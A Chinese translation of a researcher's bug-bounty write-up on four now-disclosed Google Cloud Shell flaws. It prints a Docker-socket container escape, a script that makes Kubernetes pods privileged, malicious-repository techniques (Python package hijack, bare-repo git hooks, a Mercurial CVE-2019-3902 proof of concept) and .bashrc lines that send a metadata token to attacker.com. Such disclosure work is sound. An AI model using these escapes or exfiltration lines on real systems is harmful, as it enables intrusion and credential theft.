本文为译文,原文地址 https://offensi.com/2019/12/16/4-google-cloud-shell-bugs-explained-introduction/ 原文作者为 [email protected]
在2019年,我花了大量时间寻找Google Cloud Platform中的错误。虽然众所周知,Google Cloud Platform在漏洞搜寻者中是一个艰难的目标,但我很幸运能够在其中一项服务Google Cloud Shell中找到漏洞,并取得了一定的成功。
因此,在7月,Google VRP 的Eduardo与我联系。他问我是否愿意在一个视频采访中向LiveOverflow展示Cloud Shell错误作为视频采访的一部分,但前提是:该错误必须由Google修复!LiveOverflow在完善我的错误方面做得很好,可以在这里看到结果。
后来在Google上,邀请我参加了10月在伦敦的Google总部举行的BugSWAT活动。在这次活动中,我发表了题为《25分钟之内4个Cloud shell错误》的演讲,可以与我的Bughunters和Google员工分享我的一些发现。
总共我在Google Cloud Shell中发现了9个漏洞。在本系列文章中,我将揭露并解释其中的4篇,并且以我最喜欢的一篇作为结尾。
Google Cloud Shell为管理员和开发人员提供了一种快速访问云资源的方法。它为用户提供了可通过浏览器访问的Linux Shell。该Shell附带了开始在您的Google Cloud Platform项目上工作所需的预安装工具,例如gcloud,Docker,Python,vim,Emacs和Theia(一个功能强大的开源IDE)。
Google Cloud Platform的用户可以通过Cloud Console或仅通过访问以下URL来启动Cloud Shell实例https://console.cloud.google.com/home/dashboard?cloudshell=true&project=your_project_id
启动Cloud Shell实例后,将向用户显示一个终端窗口。在下面的屏幕截图中,您可以看到它的外观。值得注意的是,gcloud客户端已经通过身份验证。如果攻击者能够破坏您的Cloud Shell,则它可以访问您的所有GCP资源。【译者注:GCP指Google Cloud Platform】
在Cloud Shell中使用ps查看正在运行的进程时,似乎我们被困在Docker容器中。只有少数几个进程正在运行。
为了证实我们的怀疑,我们可以检查/ proc文件系统。适用于Linux的Docker引擎利用了所谓的控制组(cgroups)。cgroup将应用程序限制为一组特定的资源。例如,通过使用cgroup,Docker可以限制分配给容器的内存量。对于Cloud Shell,我通过检查/proc/1/environ
的内容确定了Kubernetes和Docker的使用,如下所示。
因此,我肯定我被困在一个容器内。如果我想了解有关Cloud Shell的内部运作的更多信息,我需要找到一种逃逸到主机的方法。幸运的是,在浏览了文件系统之后,我注意到有2个Docker unix套接字可用。在 /run/docker.sock 中,这是我们在Cloud Shell中运行的Docker客户端的默认路径,/google/host/var/run/run/docker.sock 套接字,这是第二个。
第二个Unix套接字的路径名表明这是基于主机的Docker套接字。可以与基于主机的Docker套接字通信的任何人都可以轻松逃逸容器并同时获得主机上的root访问权限。
使用下面的脚本,我逃到了主机。
# create a privileged container with host root filesystem mounted - [email protected] sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name LiveOverflow-container -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///google/host/var/run/docker.sock start LiveOverflow-container sudo docker -H unix:///google/host/var/run/docker.sock exec -it LiveOverflow-container /bin/sh
现在,我具有对主机的root访问权限,我开始研究Kubernetes的配置,该配置存储在YAML文件的 /etc/kubernetes/manifests/
下。基于Kubernetes的配置以及使用tcpdump检查几个小时的流量,我现在对Cloud Shell的工作方式有了更好的了解。我很快画了一个很丑的图,来捋清思路。
默认情况下,Kubernetes容器内的大多数容器在运行时都没有特权。因此,我们无法在这些容器中使用调试工具,例如gdb和strace。Gdb和strace依赖于ptrace() syscall,并且要求最低功能为SYS_PTRACE。在特权模式下运行所有容器比授予它们SYS_PTRACE功能要容易得多。因此,我编写了一个脚本来重新配置 cs-6000 pod。
下面的脚本编写了一个新的cs-6000.yaml配置,并将旧配置链接到 /dev/null 。运行它后,您会发现容器中的所有容器将自动重新启动。现在,所有容器都以特权模式运行,我们可以开始调试了。
#!/bin/sh # [email protected] # write new manifest cat /etc/kubernetes/manifests/cs-6000.yaml | sed s/" 'securityContext': \!\!null 'null'"/\ " 'securityContext':\n"\ " 'privileged': \!\!bool 'true'\n"\ " 'procMount': \!\!null 'null'\n"\ " 'runAsGroup': \!\!null 'null'\n"\ " 'runAsUser': \!\!null 'null'\n"\ " 'seLinuxOptions': \!\!null 'null'\n"/g > /tmp/cs-6000.yaml # replace old manifest with symlink mv /tmp/cs-6000.yaml /etc/kubernetes/manifests/cs-6000.modified ln -fs /dev/null /etc/kubernetes/manifests/cs-6000.yaml
Google Cloud Shell为用户提供了一个称为Open In Cloud Shell
的功能。通过使用此功能,用户可以创建一个链接,该链接自动打开Cloud Shell并克隆托管在Github或Bitbucket上的Git存储库。这是通过将cloudshell_git_repo
参数传递到Cloud Shell URL来完成的,如以下代码所示:
<a href="https://ssh.cloud.google.com/cloudshell/editor?cloudshell_git_repo=http://path-to-repo/sample.git"><img alt="Open in Cloud Shell" src ="https://gstatic.com/cloudssh/images/open-btn.svg"></a>
打开链接后,将启动Cloud Shell,并将 http://path-to-repo/sample.git
存储库克隆到用户的主目录中。
除了 cloud_git_repo
GET参数之外,还可以传递多个参数。当将cloud_git_repo
与open_in_editor
参数结合使用时,我们可以克隆存储库并在一次指定的文件上启动Theia IDE。可以在Cloud Shell文档中找到所有受支持的GET参数的完整概述。
当用户克隆包含some_python_file.py
的Git存储库并将此文件传递到open_in_editor
GET参数('open_in_editor = some_python_file.py'
)时,Theia编辑器将开始编辑指定的文件。在编辑器中,我们可以清楚地看到IDE突然获得了语法突出显示和自动完成功能:
使用ps检查进程,我们会注意到一个新进程。editor_exec.sh脚本启动了pyls python语言服务器。
wtm 736 0.0 0.1 11212 2920 ? S<s 13:54 0:00 /bin/bash /google/devshell/editor/editor_exec.sh python -m pyls
父进程似乎是sshd。如果我们将strace附加到sshd进程并观察到Python语言服务器被启动,我们可以检查所有正在执行的系统调用。我们将输出保存到 /tmp/out
以供以后检查。
在遍历/tmp/out
中的所有syscall时,我注意到Python语言服务器正在尝试使用stat() syscall 查询主目录中不存在的软件包。
538 stat("/home/wtm/supervisor", 0x7ffdf08e11e0) = -1 ENOENT (No such file or directory)
542 stat("/home/wtm/pyls", 0x7ffcbbf61a10) = -1 ENOENT (No such file or directory)
542 stat("/home/wtm/google", 0x7ffcbbf5fe00) = -1 ENOENT (No such file or directory)
当Python <3.3尝试导入软件包时,它将查找一个已执行的__init__.py
文件。(有关更多信息,请参见PEP 382)。现在我们有了攻击向量!
如果我们创建了一个名为supervisor
,pyls
或google
的恶意Python git存储库,其中包含恶意的__init__.py
,则可以诱使Python语言服务器执行任意代码。我们所要做的就是存储在Github上恶意的仓库,并发送给我们的受害者https://ssh.cloud.google.com/console/editor?cloudshell_git_repo=https://github.com/offensi/supervisor&open_in_editor=__init__.py
通过将'init.py'传递给'open_in_editor'GET参数,我们强制IDE自动启动Python语言服务器。
现在,该语言服务器开始寻找名为supervisor
的程序包,因为我们刚刚克隆了具有相同名称的存储库,所以现在可以找到该程序包。然后执行隐藏在__init__.py
中的恶意代码,这意味着我们的受害者GCP资源受到了威胁。
默认情况下提供给您的Cloud Shell基于Debian 9 Stretch Docker映像。该映像包含最受欢迎的工具,并存储在Google的Cloud Repository中,网址为http://gcr.io/cloudshell-images/cloudshell:latest
如果用户有特殊需要,可以替换Debian Cloud Shell映像并启动自定义映像。例如,如果您希望使用Terraform映像进行基础架构配置,则可以在Cloud Shell Environment设置下将Debian映像替换为Terraform映像。
自动启动自定义Docker映像的另一种方法是通过提供cloudshell_image
传递GET参数,例如:https://ssh.cloud.google.com/cloudshell/editor?cloudshell_image=gcr.io/google/ruby
Google区分默认镜像和自定义镜像。运行默认映像的容器会将您的主文件夹安装到/home/username
。此外,在启动时,它会为您的gcloud客户端提供凭据。
从不受信任的第三方启动自定义映像时,这可能会带来安全风险。如果自定义映像包含恶意代码并尝试访问您的GCP资源,该怎么办?
因此,Google引入了受信任
和不受信任
模式。在受信任模式下自动运行的映像只有gcr.io/cloudshell-images/cloudshell:latest
。在不受信任的模式下引导自定义映像时,将为容器提供一个临时主目录,该主目录挂载到/home/user
,该目录为空并最终删除。此外,gcloud客户端没有附加凭证,您不能在metadata.google.internal
上查询元数据实例以获取承载令牌。
在本系列文章的一般介绍中,我们已经学习了如何从默认的Cloud Shell逃脱到主机。我们再次粘贴以下代码行。
sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name LiveOverflow-container -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start LiveOverflow-container
sudo docker -H unix:///google/host/var/run/docker.sock exec -it LiveOverflow-container /bin/sh
至此,我们在主机上有了一个bash。我们更改根目录通过chroot /rootfs
。搜索文件系统后,很明显主机实例处于与预期不同的状态。尽管托管自定义Docker映像的容器具有一个空的/home /user
文件夹,但dmesg
和mount
命令清楚地表明,包含用户的home文件夹的永久磁盘仍附加到基础实例!
有了以上知识,任何攻击者现在都可以构建恶意的Docker映像。该恶意Docker映像可以在启动时使用与上面显示的相同的技术来逃逸到主机。逃逸到主机后,恶意映像可能会窃取用户主文件夹中的内容。
此外,攻击可能会向用户的主文件夹中写入任意内容,以试图窃取凭据,例如,通过将以下代码添加到/var/google/devshell-home/.bashrc
中
curl -H"Metadata-flavor: Google" http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token > /tmp/token.json
curl -X POST -d@/tmp/token.json https://attacker.com/api/tokenupload
在本系列文章的#Bug 1中,我们讨论了将cloudshell_git_repo
GET-repo附加到Cloud Shell URL以便克隆Github或Bitbucket存储库的可能性。除了此参数外,我们还可以指定cloudshell_git_branch
和cloudshell_working_dir
参数以帮助克隆过程。
这是如何运作的?当我们将上面列出的这三个参数传递给Cloud Shell URL时,在您的终端窗口内部将调用cloudshell_open bash函数。此功能在/google/devshell/bashrc.google.d/cloudshell_open.sh
中定义。我在下面列出了最重要的代码行的功能。
function cloudshell_open {
...
git clone -- "$cloudshell_git_repo" "$target_directory"
cd "$cloudshell_working_dir"
git checkout "$cloudshell_git_branch"
...
}
我们看到git clone
是针对cloudshell_git_repo GET参数中指定的URL执行的。然后,该脚本通过cd进入cloudshell_working_dir中指定的任何目录来更改工作目录。然后在指定的git分支上调用git checkout
。考虑到所有输入参数均已正确过滤的事实,一开始这似乎无害。
Git-hooks是自定义脚本,在执行重要操作时会触发。在您运行git init
时默认创建的git-hooks存储在.git / hooks
中,可能看起来与此类似。
如果我们可以将这些自定义脚本存储在一个恶意的存储库中并在受害人的Cloud Shell执行'git checkout'时执行它们,那会很酷吗?根据Git手册,这是不可能的。这些 hooks 是客户端 hooks 。隐藏在.git/
中的所有内容都将被忽略,因此不会复制到远程仓库中。
创建存储库的标准方法是使用git init
。这将使用众所周知的布局创建一个工作库。它包含一个.git/
目录,其中存储了所有修订历史记录和元数据,还包含您正在使用的文件的检出版本。
但是,还有一种可以存储存储库的格式。它称为BARE REPOSITORIES
裸仓库。这种类型的存储库通常用于共享,并且具有某种平面布局。可以通过运行git init –bare
命令来创建它。
在屏幕截图中,您可以清楚地看到我们刚刚创建了一个git repo,没有.git
目录,但是带有hooks
目录!这意味着,如果我们将存储在裸存储库中的钩子隐藏在普通
存储库子目录中,则可以将其推送到远程存储库。还记得cloudshell_function中的cd
命令吗?我们可以跳到所需的任何子目录并执行git checkout
,然后触发存在的钩子。
我发布了此漏洞的概念证明,供您在 https://github.com/offensi/git-poc 中查看。按照自述文件中的指定在此存储库上运行git clone和检出将执行无害的检出钩子。
以Cloud Shell受害者为目标的邪恶URL看起来像这样: https://ssh.cloud.google.com/console/editor?cloudshell_git_repo=https://github.com/offensi/git-poc&cloudshell_git_branch=master&cloudshell_working_dir=evilgitdirectory 在下面的屏幕截图中可以看到成功的利用。
在审核Javascript代码时,这与使用Cloud Shell时负责浏览器中所有客户端的工作有关,我注意到有些不同寻常。
处理所有GET参数的代码列出了官方文档中 没有的参数。
var B3b = {
CREATE_CUSTOM_IMAGE: "cloudshell_create_custom_image",
DIR: "cloudshell_working_dir",
GIT_BRANCH: "cloudshell_git_branch",
GIT_REPO: "cloudshell_git_repo",
GO_GET_REPO: "cloudshell_go_get_repo",
IMAGE: "cloudshell_image",
OPEN_IN_EDITOR: "cloudshell_open_in_editor",
PRINT: "cloudshell_print",
TUTORIAL: "cloudshell_tutorial"
};
除cloudshell_go_get_repo
GET参数外,以上列出的所有参数均在文档中列出并说明。当使用此参数 https://ssh.cloud.google.com/cloudshell/editor?cloudshell_go_get_repo=https://github.com/some/package 构建Cloud Shell URL时,再次调用cloudshell_open函数。
负责处理go get
命令的代码如下。
function cloudshell_open {
...
valid_url_chars="[a-zA-Z0-9/\._:\-]*"
...
if [[ -n "$cloudshell_go_get_repo" ]]; then
valid_go_get=$(echo $cloudshell_go_get_repo | grep -e "^$valid_url_chars$")
if [[ -z "$valid_go_get" ]]; then
echo "Invalid go_get"
return
fi
...
go get -- "$cloudshell_go_get_repo"
go_src="$(go env GOPATH | cut -d ':' -f 1)/src/$go_get"
所有输入似乎已正确过滤。不过,我记下了这一点。
几个月后,我在Google的Container Registry(gcr.io)中寻找漏洞。它提供的功能之一称为漏洞扫描。启用漏洞扫描后,将扫描您推送的每个Docker映像,以查找已知的漏洞和披露。发现新漏洞后,容器注册表会检查它们是否影响其他的映像。
我以前一直在用的Docker映像之一是https://gcr.io/cloudshell-images/cloudshell:latest上的Cloud Shell映像。我已经可以在本地Docker引擎上轻松获得此映像,因此我将其推送到扫描中以检查漏洞扫描功能的运行情况。
打开针对Cloud Shell图像的扫描结果后,我有些惊讶。Cloud Shell映像似乎包含500多个漏洞。
在检查了列出的几乎所有漏洞之后,我终于找到了一个看起来对我来说有趣且有用的漏洞:CVE-2019-3902。
CVE-2019-3902描述了Mercurial中的漏洞。由于Mercurial / HG客户端的路径检查逻辑中存在漏洞,恶意存储库可以在客户端文件系统上的存储库边界之外写入文件。我知道go get
命令能够处理几种类型的存储库:svn,bzr,git和HG!
由于没有针对CVE-2019-3902的公共漏洞利用程序,因此我不得不尝试对其进行重现。我下载了Mercurial源代码的2个版本:修补版本和未修补版本。希望比较两个可以为我提供一些如何利用它的线索。
在检查修补的Mercurial源代码时,我偶然发现了存储在/ tests /目录中的自动测试用例。基于这些测试,我能够重建漏洞利用程序。
#!/bin/sh
# PoC for Google VRP by [email protected]
mkdir hgrepo
hg init hgrepo/root
cd hgrepo/root
ln -s ../../../bin
hg ci -qAm 'add symlink "bin"'
hg init ../../../bin
echo 'bin = bin' >> .hgsub
hg ci -qAm 'add subrepo "bin"'
cd ../../../bin
echo '#!/bin/sh' >> cut
echo 'wall You have been pwned!' >> cut
chmod +x cut
hg add cut
hg commit -m "evil cut bin"
cd /var/www/html/hgrepo/root
hg commit -m "final"
上面的代码构建了一个恶意存储库。当易受攻击的hg客户端克隆此存储库时,会将名为cut
的恶意文件写入../../../bin
。当我们查看cloudshell_open
函数之前,我们看到在go get
克隆恶意存储库之后立即调用了cut
命令,因此执行了任意代码。
恶意存储库存储在个人Web服务器上 go.offensi.com/hgrepo 。恶意的go.html文件放置在网络服务器的根目录中,以指示go get
命令克隆Mercurial存储库。
<meta name="go-import" content="go.offensi.com/go.html hg https://go.offensi.com/hgrepo/root">
现在,可以通过打开以下链接来诱骗任何Cloud Shell用户执行任意代码:https://ssh.cloud.google.com/cloudshell/editor?cloudshell_go_get_repo=https://go.offensi.com/go.html